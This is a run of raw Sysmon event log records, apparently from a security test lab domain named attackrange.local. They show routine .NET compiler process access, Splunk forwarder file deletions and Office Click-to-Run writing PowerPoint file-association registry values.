\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.206{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4808-00000000F001}4956C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.190{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4808-00000000F001}4956C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.190{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4808-00000000F001}4956C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.143{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4708-00000000F001}3932C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.128{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4708-00000000F001}3932C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.128{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4708-00000000F001}3932C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000039658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.018{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E25605C387A5679E91A72D67A8C378AB,SHA256=943F69EF01FEA1811327E73F7237CD5206F854F44B47B40A61F4BC0D18CB6224,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.018{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4608-00000000F001}4928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.003{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4608-00000000F001}4928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.003{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4608-00000000F001}4928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013788Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:57.812{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECA597EF0F1095D6097C23F94AD23DEC,SHA256=D5F561BABF34B9F3C9D3441E847513315205C217397274B52C86B0693B3C02D0,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShowMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShowMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShowMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" /ou "%%u" 13241300x800000000000000040152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShowMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShowMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" /ou "%%u" 13241300x800000000000000040147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.SlideShow.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 10341000x800000000000000040145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.909{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5C08-00000000F001}6384C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Addin.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Addin.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" 13241300x800000000000000040142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.12\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.909{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 10341000x800000000000000040136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.893{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5C08-00000000F001}6384C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.893{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5C08-00000000F001}6384C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.TemplateMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.TemplateMacroEnabled.12\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.TemplateMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.TemplateMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.TemplateMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.TemplateMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.893{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\powerpointhtmltemplate\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" 13241300x800000000000000040127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.8\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 13241300x800000000000000040122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.878{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Template.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu 